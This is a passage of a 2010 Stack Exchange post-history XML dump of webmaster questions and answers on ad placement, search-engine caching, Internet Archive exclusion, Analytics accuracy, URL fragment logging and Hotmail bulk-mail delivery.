interface. However, I don't block the ads, I don't find them annoying enough to go through the trouble of blocking them. Besides, they also use their ad space for great causes, which I'll discuss later.&#xD;&#xA;&#xD;&#xA;**Have more text than ads**&#xD;&#xA;&#xD;&#xA;If I see a page that has more advertisements on it than text, I usually just close it straight away. I have some sympathy, I also serve ads, but too much is too much. Additionally, I would put down a news paper that had more ads than text, this is not at all 'web' specific.&#xD;&#xA;&#xD;&#xA;**Place the ads strategically**&#xD;&#xA;&#xD;&#xA;Put ads in places where you either:&#xD;&#xA;&#xD;&#xA; - Are losing someone's attention&#xD;&#xA; - Have someone's undivided attention&#xD;&#xA;&#xD;&#xA;The second half of the page works well. I very rarely see clicks from ads placed on the top half of the page. YMMV, as I said, I am dealing with a very tough crowd :)&#xD;&#xA;&#xD;&#xA;**Run ads that your audience will actually be interested in seeing**&#xD;&#xA;&#xD;&#xA;My particular audience has no interest in getting a lower mortgage rate, creating a 'cartoon you' or proprietary software. However, they love gizmos, books and e-bay auctions where they can buy a piece of computer history. You have to work to understand your users and show them what they want to see.&#xD;&#xA;&#xD;&#xA;Additionally, run some ads that do some good. For instance, Stack Overflow does a great service to the open source community by advertising projects that might need some more developers and users. That's one of the biggest reasons why I don't bother blocking ads on SO.&#xD;&#xA;&#xD;&#xA;**Don't show ads to people that won't convert**&#xD;&#xA;&#xD;&#xA;Its a waste of bandwidth to show an ad for some company that only ships inside the continental US to a visitor in Iceland, even on Fridays (you did do something to understand your visitor's browsing habits, yes?). This is one of the reasons why I avoid the big ad networks and retain complete control over what I display. I don't just happily take the money and put the ad into circulation, I research the advertiser and make sure they would be a good fit with my users. If you annoy your visitors, you get no traffic. If you get no traffic, you serve no ads.&#xD;&#xA;&#xD;&#xA;This is more than just geo-targeting, its strategy.&#xD;&#xA;&#xD;&#xA;**Engage your users**&#xD;&#xA;&#xD;&#xA;Give people a place to rant, make it easy for them to tell you what they love and what they don't like so much. When you hear from them, take action.&#xD;&#xA;&#xD;&#xA;Finally, like others have said, build something useful and explain that the only thing that pays the bills is advertisements. If you take the time to get to know your visitors, you'll find something that works.&#xD;&#xA;&#xD;&#xA;I would quickly close any page that tries to ***force*** me to do anything.&#xD;&#xA;&#xD;&#xA;You also need to consider the nature of the site .. is it self promoting? If so, its (usually) not a good place for ads.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1249" PostHistoryTypeId="5" PostId="670" RevisionGUID="cb4761a6-eac5-4fea-a2d3-7e881506fb1b" CreationDate="2010-07-11T18:52:08.380" UserId="55" Comment="added 135 characters in body" Text="Most of my sites cater to very technical people who are ***very*** sensitive when it comes to how I use pixels on their screen. Additionally, many of my sites discuss the world of free and open source software. That's a tough crowd, here's some advice:&#xD;&#xA;&#xD;&#xA;**Reward the behavior that you want**&#xD;&#xA;&#xD;&#xA;On most of my sites, simply leaving 3 comments that add something to the conversation will result in reduced advertising. This includes banners and text links. Give people some productive means to see less ads. Implementing [OpenID][1] is helpful there, you want to be less 'greedy' when it comes to user registration.&#xD;&#xA;&#xD;&#xA;My text link ads are not at all generated by JS. They work no matter what. Additionally, I've gotten rather clever with using background images in containers with ordinary text links for someone who finds the ad interesting to 'follow through'. With or without blockers, you're going to see some ads.&#xD;&#xA;&#xD;&#xA;The trick here is to make your content interesting and useful enough for people to tolerate them, while leaving them some means to make (most of) the ads go away. From my stats and analytics, I found that most people who actually click on them tend to come from Google searching for a particular question. They generally exit the site by clicking an ad.&#xD;&#xA;&#xD;&#xA;In most cases, your regular users aren't the ones you want to target. I've got 11k+ rep on SO, I may click on an ad every few months just to see how an interesting product crafted their user interface. However, I don't block the ads, I don't find them annoying enough to go through the trouble of blocking them. Besides, they also use their ad space for great causes, which I'll discuss later.&#xD;&#xA;&#xD;&#xA;**Have more text than ads**&#xD;&#xA;&#xD;&#xA;If I see a page that has more advertisements on it than text, I usually just close it straight away. I have some sympathy, I also serve ads, but too much is too much. Additionally, I would put down a news paper that had more ads than text, this is not at all 'web' specific.&#xD;&#xA;&#xD;&#xA;**Place the ads strategically**&#xD;&#xA;&#xD;&#xA;Put ads in places where you either:&#xD;&#xA;&#xD;&#xA; - Are losing someone's attention&#xD;&#xA; - Have someone's undivided attention&#xD;&#xA;&#xD;&#xA;The second half of the page works well. I very rarely see clicks from ads placed on the top half of the page. YMMV, as I said, I am dealing with a very tough crowd :)&#xD;&#xA;&#xD;&#xA;**Run ads that your audience will actually be interested in seeing**&#xD;&#xA;&#xD;&#xA;My particular audience has no interest in getting a lower mortgage rate, creating a 'cartoon you' or proprietary software. However, they love gizmos, books and e-bay auctions where they can buy a piece of computer history. You have to work to understand your users and show them what they want to see.&#xD;&#xA;&#xD;&#xA;Additionally, run some ads that do some good. For instance, Stack Overflow does a great service to the open source community by advertising projects that might need some more developers and users. That's one of the biggest reasons why I don't bother blocking ads on SO.&#xD;&#xA;&#xD;&#xA;**Don't show ads to people that won't convert**&#xD;&#xA;&#xD;&#xA;Its a waste of bandwidth to show an ad for some company that only ships inside the continental US to a visitor in Iceland, even on Fridays (you did do something to understand your visitor's browsing habits, yes?). This is one of the reasons why I avoid the big ad networks and retain complete control over what I display. I don't just happily take the money and put the ad into circulation, I research the advertiser and make sure they would be a good fit with my users. If you annoy your visitors, you get no traffic. If you get no traffic, you serve no ads.&#xD;&#xA;&#xD;&#xA;This is more than just geo-targeting, its strategy.&#xD;&#xA;&#xD;&#xA;**Engage your users**&#xD;&#xA;&#xD;&#xA;Give people a place to rant, make it easy for them to tell you what they love and what they don't like so much. When you hear from them, take action.&#xD;&#xA;&#xD;&#xA;Finally, like others have said, build something useful and explain that the only thing that pays the bills is advertisements. If you take the time to get to know your visitors, you'll find something that works.&#xD;&#xA;&#xD;&#xA;I would quickly close any page that tries to ***force*** me to do anything.&#xD;&#xA;&#xD;&#xA;You also need to consider the nature of the site .. is it self promoting? If so, its (usually) not a good place for ads.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openid.net/" />
  <row Id="1250" PostHistoryTypeId="2" PostId="679" RevisionGUID="b0bafcad-9bb8-4358-b49f-03494e348330" CreationDate="2010-07-11T18:58:07.043" UserId="26" Text="From what I understand I can tell Google to remove pages from their archive if I add the header:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;ROBOTS&quot; contents=&quot;NOARCHIVE&quot; /&gt;&#xD;&#xA;&#xD;&#xA;But won't this also remove the page from search results? I only want the &quot;Cached&quot; link removed." />
  <row Id="1251" PostHistoryTypeId="1" PostId="679" RevisionGUID="b0bafcad-9bb8-4358-b49f-03494e348330" CreationDate="2010-07-11T18:58:07.043" UserId="26" Text="How do I prevent Google from serving a cached version of my site?" />
  <row Id="1252" PostHistoryTypeId="3" PostId="679" RevisionGUID="b0bafcad-9bb8-4358-b49f-03494e348330" CreationDate="2010-07-11T18:58:07.043" UserId="26" Text="&lt;seo&gt;&lt;google&gt;&lt;cache&gt;" />
  <row Id="1253" PostHistoryTypeId="2" PostId="680" RevisionGUID="c0ed5d2d-330b-41f1-a7dd-952b7af486e9" CreationDate="2010-07-11T19:06:29.600" UserId="26" Text="Are there any mechanisms to control what the Internet Archive archives on a site? I know to disallow all pages [I could add][1]:&#xD;&#xA;&#xD;&#xA;    User-agent: ia_archiver&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;1. Can I tell the bot that I want them to crawl my site once a month, or once a year?&#xD;&#xA;&#xD;&#xA;2. I have a site/pages that doesn't/don't get archived correctly because of assets not picked up. Is there a way to tell the Internet Archive bot what assets it needs if it's going to grab the site?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archive.org/about/exclude.php&#xD;&#xA;" />
  <row Id="1254" PostHistoryTypeId="1" PostId="680" RevisionGUID="c0ed5d2d-330b-41f1-a7dd-952b7af486e9" CreationDate="2010-07-11T19:06:29.600" UserId="26" Text="Control over the Internet Archive besides just &quot;Disallow /&quot;?" />
  <row Id="1255" PostHistoryTypeId="3" PostId="680" RevisionGUID="c0ed5d2d-330b-41f1-a7dd-952b7af486e9" CreationDate="2010-07-11T19:06:29.600" UserId="26" Text="&lt;cache&gt;" />
  <row Id="1256" PostHistoryTypeId="2" PostId="681" RevisionGUID="ae793607-3886-4fd0-ba51-2ac473218f04" CreationDate="2010-07-11T20:10:29.247" UserId="26" Text="There's not a standard way to do this, but here are some options:&#xD;&#xA;&#xD;&#xA;1. A `&lt;meta&gt;` [keywords][1] tag:&#xD;&#xA;&#xD;&#xA;    `&lt;meta name=&quot;keywords&quot; content=&quot;tag1, tag2, tag3&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;2. Link each tag to a master page, each of these has a list of like-tagged posts:&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;http://blog.example.com/archive/tag/tag1&quot;&gt;tag1&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;http://blog.example.com/archive/tag/tag2&quot;&gt;tag2&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;http://blog.example.com/archive/tag/tag3&quot;&gt;tag3&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;3. And there's something flickr uses, the attribute is `data-ywa-name`, which appears to be related to an [IEC-11179][2] metadata registry. How to set this up I'm not sure.&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;http://blog.example.com/archive/tag/tag1&quot; data-ywa-name=&quot;Tag(s), Global&quot;&gt;tag1&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;http://blog.example.com/archive/tag/tag2&quot; data-ywa-name=&quot;Tag(s), Global&quot;&gt;tag2&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;http://blog.example.com/archive/tag/tag3&quot; data-ywa-name=&quot;Tag(s), Global&quot;&gt;tag3&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;4. Now, there's an [HTML5 Microdata specification][3] in development, their spec does not include something specific for tags, but here's a stab at how one might mark up tags that are not linked:&#xD;&#xA;&#xD;&#xA;    `&lt;p itemscope&gt;`&#xD;&#xA;&#xD;&#xA;    `   &lt;span itemprop=&quot;tag&quot;&gt;tag1&lt;/span&gt;`&#xD;&#xA;&#xD;&#xA;    `   &lt;span itemprop=&quot;tag&quot;&gt;tag2&lt;/span&gt;`&#xD;&#xA;&#xD;&#xA;    `   &lt;span itemprop=&quot;tag&quot;&gt;tag3&lt;/span&gt;`&#xD;&#xA;&#xD;&#xA;    `&lt;/p&gt;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**1.** seems likely to be useful for search engines which use the keywords meta tag. And **2.** could useful to your visitors. **3.** and **4.** seem like they *could* be useful though I'm not sure what search engines might use them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Meta_element#The_keywords_attribute&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ISO/IEC_11179&#xD;&#xA;  [3]: http://dev.w3.org/html5/md/" />
  <row Id="1257" PostHistoryTypeId="2" PostId="682" RevisionGUID="43290fb9-1acc-409b-a634-d5146d28d2af" CreationDate="2010-07-11T21:06:36.787" UserId="26" Text="My experience of Adsense ads is that they can change quite a bit over a course of time, also, sometimes there's simply not good ads to match the content certain page, or, Google will latch onto a certain word on a page and there's so many ads on that topic it ignores what the page is really about.&#xD;&#xA;&#xD;&#xA;I think a better barometer to do the same thing would be to search for the page, then choose what pops up when you [look for related pages][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/help/features.html#query" />
  <row Id="1258" PostHistoryTypeId="16" PostId="682" RevisionGUID="43290fb9-1acc-409b-a634-d5146d28d2af" CreationDate="2010-07-11T21:06:36.787" UserId="-1" />
  <row Id="1259" PostHistoryTypeId="2" PostId="683" RevisionGUID="f1de3158-c43e-4a42-b43c-35a601531e5b" CreationDate="2010-07-11T21:12:12.940" UserId="26" Text="I think it depends entirely on how much you emphasize the &quot;Donation.&quot; From what I've seen a passive &quot;Donate&quot; button with no emphasis, and no regular mentions of it, say on home and landing pages, or in blog posts or news items, and they don't get particular attention, and thus not much money. About 10 years ago I put a donate button on my site at &lt;a href=&quot;http://lab.artlung.com/&quot;&gt;lab.artlung.com&lt;/a&gt; with a suggested amount of $1, and in that time I've made maybe $150. So, no, it's not paying my rent. :-) But I also never highlighted it, never put up an intrusive popup, never solicited for it other than the button being present." />
  <row Id="1260" PostHistoryTypeId="2" PostId="684" RevisionGUID="d4157bc8-feac-403f-bc9a-7a0d0ed25cd2" CreationDate="2010-07-11T21:17:28.153" UserId="26" Text="A lot of great resources listed in the answers so far, great question.&#xD;&#xA;&#xD;&#xA;To me, the *only* reliable source of data you should look at for browser usage, and thus, what you need make sure you're supporting well, is your own site. Keep an eye on those breakdowns and you'll have a sense of your actual audience. If you get spikes in traffic because of news or organic growth, keep an eye on how those numbers change, as that may indicate that you need to change your own emphasis. Now, that's all presuming you have a track record of maybe 6 months you can draw on. If you don't, using the resources suggested is perfectly fine." />
  <row Id="1261" PostHistoryTypeId="2" PostId="685" RevisionGUID="76166508-0fe2-4601-aab0-6a70319bd1bb" CreationDate="2010-07-11T21:32:15.163" UserId="44" Text="No, it will not remove your site from the listings, only from the archive.  So your NOARCHIVE idea is correct.  You can read more about how Google treats all of this on Google's own blog: [http://googleblog.blogspot.com/2007/02/robots-exclusion-protocol.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2007/02/robots-exclusion-protocol.html" />
  <row Id="1262" PostHistoryTypeId="2" PostId="686" RevisionGUID="0d181531-56cc-46b5-89ed-8dcb7e28b627" CreationDate="2010-07-11T21:34:44.197" UserId="138" Text="The answers here are good, but there is one more exception I think is worth mentioning - non-english characters. Referencing [this SF question here][1], characters like ñ (as in Español) are perfectly legitimate, IF they have been encoded in your DNS correctly.&#xD;&#xA;&#xD;&#xA;You have to use [Punycode][2] within your DNS to get them to resolve in modern browsers (the entry for español is `xn--espaol-zwa`) but these are now perfectly safe to use in domain names, as they're easy for non-english-speakers to type as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/142793/can-i-use-the-character-n-in-a-sub-domain&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Punycode" />
  <row Id="1263" PostHistoryTypeId="5" PostId="472" RevisionGUID="79b1d170-6e32-4380-b506-a9e875634951" CreationDate="2010-07-11T21:47:37.347" UserId="229" Comment="Added note about 404s" Text="Lack of a robots.txt file will not be harmful.  From the &lt;a href=&quot;http://www.robotstxt.org/robotstxt.html&quot;&gt;robotstxt.org website&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; To allow all robots complete access&#xD;&#xA;&gt;&#xD;&#xA;&gt;   User-agent: *  &#xD;&#xA;&gt;   Disallow:  &#xD;&#xA;&gt;&#xD;&#xA;&gt; (or just create an empty &quot;/robots.txt&quot; file, or don't use one at all)&#xD;&#xA;&#xD;&#xA;However, even if you are not specifying anything in your robots.txt file, it is a good way of &lt;a href=&quot;http://www.sitemaps.org/protocol.php#informing&quot;&gt;informing search engines of the location of your XML Sitemap&lt;/a&gt;. You can do this by adding a line at the top of your robots.txt file that looks something like:&#xD;&#xA;&#xD;&#xA;&gt; Sitemap: http://www.example.com/sitemap-host1.xml&#xD;&#xA;&#xD;&#xA;You should also be aware that not having it will create a lot of 404 entries in your web logs." />
  <row Id="1264" PostHistoryTypeId="2" PostId="687" RevisionGUID="d7918390-cd32-4313-9a7e-e59cb41e0b7f" CreationDate="2010-07-11T21:50:31.730" UserId="44" Text="As @txwikinger said, [quirksmode][1] is the site to see here. &#xD;&#xA;&#xD;&#xA;The only additional information that should be of help is this article on how to detect which mode your browser is using on a certain page: [Detecting Compat Mode][2].  There are also browser extensions that can do this, like [Web Developer Toolbar][3].  There is a version for FF and Chrome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/css/quirksmode.html&#xD;&#xA;  [2]: http://code.google.com/p/doctype/wiki/ArticleCompatMode&#xD;&#xA;  [3]: http://chrispederick.com/work/web-developer/" />
  <row Id="1265" PostHistoryTypeId="2" PostId="688" RevisionGUID="1db1ed2f-ea12-4fa8-95e4-03c3c81c2855" CreationDate="2010-07-11T21:57:00.913" UserId="229" Text="[BlogEngine.NET][1] is a basic open source one that should be considered.  It is geared towards blog posts, but it has the concept of &quot;pages&quot; and can be themed very easily.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dotnetblogengine.net/" />
  <row Id="1266" PostHistoryTypeId="16" PostId="688" RevisionGUID="1db1ed2f-ea12-4fa8-95e4-03c3c81c2855" CreationDate="2010-07-11T21:57:00.913" UserId="-1" />
  <row Id="1267" PostHistoryTypeId="5" PostId="606" RevisionGUID="2805ec71-da98-492f-a766-13699d15597e" CreationDate="2010-07-11T22:54:28.093" UserDisplayName="delete" Comment="added 19 characters in body" Text="Anybody who blocks JavaScript won't show up on Google Analytics. I don't know of that many people who deliberately block Google Analytics itself, but I do know that Analytics under-reports traffic. On one Ajax-based site I run, it is almost accurate, but on another static HTML/CGI site I run it is under-reporting (only about 60% of actual visitors show up in Google Analytics), so somehow or other it is getting blocked a lot. Another thing is that it doesn't show up any web crawler or robot traffic, and doesn't show up hotlinked images and other kinds of abuse.&#xD;&#xA;&#xD;&#xA;As for delaying the load, loading the same piece of JavaScript again and again on each page won't slow things down since the JavaScript will be cached anyway. It is detecting the time on the page somehow, so it must also be phoning home on page load and unload, which has to involve a short delay. However I honestly cannot detect that or notice it at all.&#xD;&#xA;&#xD;&#xA;As far as I know, there is no requirement to have a privacy policy in order to use Analytics (unlike Adsense).&#xD;&#xA;" />
  <row Id="1268" PostHistoryTypeId="2" PostId="689" RevisionGUID="df95105f-8110-452e-a804-dd3c51369fb8" CreationDate="2010-07-11T23:13:40.027" UserId="180" Text="The in-browser tools are great at their job and are usually your best first choice, but sometimes they don't provide enough technical detail on the HTTP request/response payloads, or are too page-specific.&#xD;&#xA;&#xD;&#xA;In these cases, you may find that a dedicated HTTP inspection tool like [Fiddler][1] or one of the [Linux alternatives][2] will provide more insight.&#xD;&#xA;&#xD;&#xA;If you really need to get bare-metal, [Wireshark][3] goes beyond HTTP to full network traffic analysis, but be prepared to be overwhelmed at first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/&#xD;&#xA;  [2]: http://stackoverflow.com/questions/2040642/linux-alternative-to-fiddler2&#xD;&#xA;  [3]: http://www.wireshark.org/" />
  <row Id="1269" PostHistoryTypeId="2" PostId="690" RevisionGUID="5b6b03e6-dfba-472e-b491-6e8103c411e4" CreationDate="2010-07-11T23:20:18.050" UserId="221" Text="The largest contributor to the Internet Archive's web collection has been Alexa Internet. Material that Alexa crawls for its purposes has been donated to IA a few months later. Adding the disallow rule mentioned in the question does not affect those crawls, but the Wayback will 'retroactively' honor them (denying access, the material will still be in the archive - you should exclude Alexa's robot if you really want to keep your material out of the Internet Archive). &#xD;&#xA;&#xD;&#xA;There may be ways to affect Alexa's crawls, but I'm not familiar with that.&#xD;&#xA;&#xD;&#xA;Since IA developed its own crawler (Heritrix) they have started doing their own crawls, but those tend to be targeted crawls (they do election crawls for Library of Congress and have done national crawls for France and Australia etc.). They do not engage in the kind of sustained world scale crawls that Google and Alexa conduct. IA's largest crawl was a special project to crawl 2 billion pages.&#xD;&#xA;&#xD;&#xA;As these crawls are operated on schedules that derive from project specific factors, you can not affect how often they visit your site or *if* they visit your site.&#xD;&#xA;&#xD;&#xA;The only way to directly affect how and when IA crawls your site is to use their [Archive-It][1] service. That serves allows you to specify custom crawls. The resultant data will (eventually) be incorporated into IA's web collection. This is however a **payed** subscription service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archive-it.org/" />
  <row Id="1270" PostHistoryTypeId="5" PostId="606" RevisionGUID="cffc8b1b-6097-40de-9aa0-22a280a4f52d" CreationDate="2010-07-11T23:42:07.733" UserDisplayName="delete" Comment="added 15 characters in body" Text="Anybody who blocks JavaScript won't show up on Google Analytics. I don't know of that many people who deliberately block Google Analytics itself, but I do know that Analytics under-reports traffic. On one Ajax-based site I run, it is almost accurate, but on another static HTML/CGI site I run it is under-reporting (only (very approximately) 80% of actual visitors show up in Google Analytics), so somehow or other it is getting blocked a lot. Another thing is that it doesn't show up any web crawler or robot traffic, and doesn't show up hotlinked images and other kinds of abuse.&#xD;&#xA;&#xD;&#xA;As for delaying the load, loading the same piece of JavaScript again and again on each page won't slow things down since the JavaScript will be cached anyway. It is detecting the time on the page somehow, so it must also be phoning home on page load and unload, which has to involve a short delay. However I honestly cannot detect that or notice it at all.&#xD;&#xA;&#xD;&#xA;As far as I know, there is no requirement to have a privacy policy in order to use Analytics (unlike Adsense).&#xD;&#xA;" />
  <row Id="1271" PostHistoryTypeId="5" PostId="468" RevisionGUID="202d17a9-db0d-4260-a55a-36df5121ecc7" CreationDate="2010-07-12T00:25:52.873" UserId="180" Comment="Added specific advice and a preachy conclusion" Text="My non-answer is to not do this.  Modern email systems, such as GMail and the Barracuda anti-spam appliance, do an excellent job of filtering spam.  Any barrier that you put between you and your visitors means a lower level of engagement and, depending on the type of site, potential loss of sales.&#xD;&#xA;&#xD;&#xA;If you are worried about users who don't have native mail client installed, or who don't have the mailto: handler set correctly, then have a Contact Us page with BOTH the linked email address and a form (without a CAPTCHA) and let the user choose.&#xD;&#xA;&#xD;&#xA;Spam is annoying, but it's our burden to bear, not our users." />
  <row Id="1272" PostHistoryTypeId="2" PostId="691" RevisionGUID="f3f7594c-0ff4-4c75-9f0f-bd0974810753" CreationDate="2010-07-12T01:38:51.027" UserId="180" Text="Another item you may want to consider is whether Google is providing you with enough value to pay for the information you are giving them about your site's data, relevance of specific pages, etc.  &#xD;&#xA;&#xD;&#xA;They already own a large proportion of this for your landing pages because of their overwhelming search domination, but by installing Analytics you're giving them ALL of it.  &#xD;&#xA;&#xD;&#xA;Google says that they don't use the information to determine your site's rankings, but they're measurement geeks, and of course they're analyzing the data in aggregate to improve their services." />
  <row Id="1273" PostHistoryTypeId="2" PostId="692" RevisionGUID="7beb0d32-529e-43f9-8ba5-61736011e1e8" CreationDate="2010-07-12T02:37:47.733" UserId="124" Text="If I have a broken link it gets logged with a 404. If I have a link to an anchor and the anchor is missing, I don't get an entry in the log. How can I find those broken anchor links, especially if the traffic is coming from a referrer? Is there a way to configure the logging to capture this information?&#xD;&#xA;&#xD;&#xA;HTTP Server: Apache 2" />
  <row Id="1274" PostHistoryTypeId="1" PostId="692" RevisionGUID="7beb0d32-529e-43f9-8ba5-61736011e1e8" CreationDate="2010-07-12T02:37:47.733" UserId="124" Text="Are missing anchors logged?" />
  <row Id="1275" PostHistoryTypeId="3" PostId="692" RevisionGUID="7beb0d32-529e-43f9-8ba5-61736011e1e8" CreationDate="2010-07-12T02:37:47.733" UserId="124" Text="&lt;html&gt;&lt;apache&gt;&lt;logging&gt;&lt;anchor&gt;&lt;404&gt;" />
  <row Id="1276" PostHistoryTypeId="2" PostId="693" RevisionGUID="8d013497-61e2-4b8b-a5d4-e2bf01270a7b" CreationDate="2010-07-12T02:43:11.807" UserId="55" Text="I don't think its possible to see this in Apache's logs. If a file is requested and served, that pretty much ends Apache's involvement (or any other server). Finding and positioning to the anchor is something the browser does. By the time your browser gets to locating the anchor, the connection to the server is already closed.&#xD;&#xA;&#xD;&#xA;A good link checker should pick that up, but that's a manual process." />
  <row Id="1277" PostHistoryTypeId="2" PostId="694" RevisionGUID="f143a1a3-988f-420d-81b7-c0ac00715127" CreationDate="2010-07-12T02:45:07.700" UserId="62" Text="CSE HTML Validator checks for missing anchors... for a price.&#xD;&#xA;&#xD;&#xA;See http://www.htmlvalidator.com/htmlval/whycseisbetter.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1278" PostHistoryTypeId="2" PostId="695" RevisionGUID="1aa384cc-cc65-46ce-a925-b579d20fcdd5" CreationDate="2010-07-12T03:04:35.703" UserId="62" Text="While qualifying eMail for Spam, Hotmail/Live checks the historical records of numbers of eMails sent by a sender (FROM, eMail Server, IP, etc.). Some times, perfectly valid bulk eMails that are not Spam, (i.e. double opt-in list, from a server with proper SPF Record, signed with DKIM, unregister links and contact info, etc.) are rejected and not delivered to destinataries. Not even to their Junk folder.&#xD;&#xA;&#xD;&#xA;I guess we can avoid this situation by progressivelly &quot;training&quot; Hotmail/Live about the reputation of our sender and sending small quantyties of eMails innitially and increasing the quantity for some amount/percentaje during each delivery.&#xD;&#xA;&#xD;&#xA;Are there guidelines or do you have any experience on these quantities, strategy, solutions?&#xD;&#xA;&#xD;&#xA;Thank you in advance.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1279" PostHistoryTypeId="1" PostId="695" RevisionGUID="1aa384cc-cc65-46ce-a925-b579d20fcdd5" CreationDate="2010-07-12T03:04:35.703" UserId="62" Text="How to avoid Hotmail/Live rejections for (legit) large volume eMailing?" />
  <row Id="1280" PostHistoryTypeId="3" PostId="695" RevisionGUID="1aa384cc-cc65-46ce-a925-b579d20fcdd5" CreationDate="2010-07-12T03:04:35.703" UserId="62" Text="&lt;email&gt;&lt;spam&gt;&lt;bulk-email&gt;&lt;hotmail&gt;&lt;live&gt;" />
  <row Id="1281" PostHistoryTypeId="2" PostId="696" RevisionGUID="eba322d4-4387-4cff-b65f-4a6feb5fadd5" CreationDate="2010-07-12T03:44:26.007" UserId="180" Text="It is impossible to configure logging of the #fragment portion of the URL because your web server never sees it.  From [RFC3986][1]&#xD;&#xA;&#xD;&#xA;&gt; the fragment identifier is separated from the rest of the URI prior to a dereference, and thus the identifying information within the fragment itself is dereferenced solely by the user agent, regardless of the URI scheme.  Although this separate handling is often perceived to be a loss of information, particularly for accurate redirection of references as resources move over time, it also serves to prevent information providers from denying reference authors the right to refer to information within a resource selectively.  Indirect referencing also provides additional flexibility and extensibility to systems that use URIs, as new media types are easier to define and deploy than new schemes of identification.&#xD;&#xA;&#xD;&#xA;What this means is that the web browser basically strips off the anchor part of the URI before sending it to the web server.  The [HTTP protocol][2] doesn't even deal with fragments because of this; they're never sent over the wire.&#xD;&#xA;&#xD;&#xA;That said, it's quite possible to get tricky and use AJAX to log fragment use (they're available to JavaScript as a client-side tool) but I don't know if any out-of-the-box tools that allow you to do this.&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc3986#page-24&#xD;&#xA;  [2]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.2.2" />
  <row Id="1282" PostHistoryTypeId="5" PostId="696" RevisionGUID="967f0681-8e5a-44f9-8311-9c0062bfabb8" CreationDate="2010-07-12T03:52:49.733" UserId="180" Comment="added 155 characters in body; deleted 39 characters in body" Text="It is impossible to configure logging of the #fragment portion of the URL because your web server never sees it.  From [RFC3986][1]&#xD;&#xA;&#xD;&#xA;&gt; the fragment identifier is separated from the rest of the URI prior to a dereference, and thus the identifying information within the fragment itself is dereferenced solely by the user agent, regardless of the URI scheme.  Although this separate handling is often perceived to be a loss of information, particularly for accurate redirection of references as resources move over time, it also serves to prevent information providers from denying reference authors the right to refer to information within a resource selectively.  Indirect referencing also provides additional flexibility and extensibility to systems that use URIs, as new media types are easier to define and deploy than new schemes of identification.&#xD;&#xA;&#xD;&#xA;What this means is that the web browser basically strips off the anchor part of the URI before sending it to the web server.  The [HTTP protocol][2] doesn't even deal with fragments because of this; they're never sent over the wire.&#xD;&#xA;&#xD;&#xA;That said, it's relatively easy to use AJAX to log fragment use (fragments are available to JavaScript as part of the location.href property), and you can test for existence using getElementByID.  I don't know of any out-of-the-box tools that allow you to do this though, and I'm not convinced that it's worth the effort.&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc3986#page-24&#xD;&#xA;  [2]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.2.2" />
  <row Id="1283" PostHistoryTypeId="5" PostId="610" RevisionGUID="72164a1c-ef2d-4928-bc6a-c7cb08e0855e" CreationDate="2010-07-12T04:12:04.463" UserId="137" Comment="added 287 characters in body" Text="You may want to check out the thread on StackOverflow&#xD;&#xA;&#xD;&#xA; - [Testing a website for cross browser&#xD;&#xA;   support][1]&#xD;&#xA; - [Checking a website on&#xD;&#xA;   old versions of popular browsers][2]&#xD;&#xA; - [Testing a website on mobile browsers][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/462848/testing-a-website-for-cross-browser-multiple-version-support&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1961724/checking-a-website-on-old-versions-of-popular-browsers&#xD;&#xA;  [3]: http://stackoverflow.com/questions/464089/simulators-emulators-for-mobile-browser-testing" />
  <row Id="1284" PostHistoryTypeId="2" PostId="697" RevisionGUID="95a27b9f-8005-42a5-b48e-eadbf0563de9" CreationDate="2010-07-12T05:29:07.967" UserId="3" Text="Hotmail/Live is ... quirky. Much, much quirkier than other email services when it comes to &quot;protecting&quot; users from bulk email. You can find many complaints about Hotmail/Live all over the web about this stuff -- and it's true in my experience.&#xD;&#xA;&#xD;&#xA;First, make sure you sign up using their [SenderID][2] forms.&#xD;&#xA;&#xD;&#xA;The [Sender ID SPF Record Submission Form][1] will put your domains on their radar at least. It's kind of a semi-manual process, is the impression I distinctly got when working with them. If you want to send bulk mail reliably to hotmail/live users, you *have* to do this.&#xD;&#xA;&#xD;&#xA;[1]: http://support.msn.com/eform.aspx?productKey=senderid&amp;page=support_senderid_options_form_byemail&amp;ct=eformts&#xD;&#xA;[2]: http://www.microsoft.com/senderid&#xD;&#xA;&#xD;&#xA;" />
